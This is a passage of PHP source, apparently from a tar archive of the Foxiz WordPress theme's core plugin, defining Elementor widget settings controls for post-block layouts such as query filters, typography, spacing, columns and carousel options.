Options::heading_html_dropdown( esc_html__( '- Default -', 'foxiz-core' ) ), 'default' => '0', ) ); $this->add_control( 'sub_title_tag', array( 'label' => esc_html__( 'Secondary Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sub_heading_html_description(), 'options' => Options::heading_html_dropdown( esc_html__( '- Default -', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'sub_title_tag_size', array( 'label' => esc_html__( 'Secondary Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::sub_title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-list-inline > .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Secondary Post Title Font', 'foxiz-core' ), 'name' => 'sub_title_font', 'selector' => '{{WRAPPER}} .p-list-inline > .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .block-hrc .p-list-inline' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'first_bottom_margin', array( 'label' => esc_html__( 'First Post Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__('Input custom bottom margin values (px) for the first post.', 'foxiz-core'), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .block-hrc .p-wrap:first-child' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_hierarchical_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_hierarchical_1( $settings ); } } }elementor/grid-small-1.php000064400000076366147206624460011475 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '4', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'featured_position', array( 'label' => esc_html__( 'Featured Position on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select the featured position for this block in the mobile device', 'foxiz-core' ), 'options' => Options::featured_position_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::standard_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'carousel_section', array( 'label' => esc_html__( 'Carousel Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'carousel_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination setting will be not available if the carousel mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'carousel', array( 'label' => esc_html__( 'Carousel', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_responsive_control( 'carousel_columns', array( 'label' => esc_html__( 'Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_columns_description(), 'default' => '', ) ); $this->add_control( 'carousel_wide_columns', array( 'label' => esc_html__( 'Wide Screen - Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::wide_carousel_columns_description(), 'default' => '', ) ); $this->add_responsive_control( 'carousel_gap', array( 'label' => esc_html__( 'Carousel Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_gap_description(), 'default' => '', ) ); $this->add_control( 'carousel_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_dot_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'carousel_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_nav_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_responsive_control( 'carousel_footer_margin', array( 'label' => esc_html__( 'Nav Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_nav_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => 'margin-top: {{VALUE}}px;' ), ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 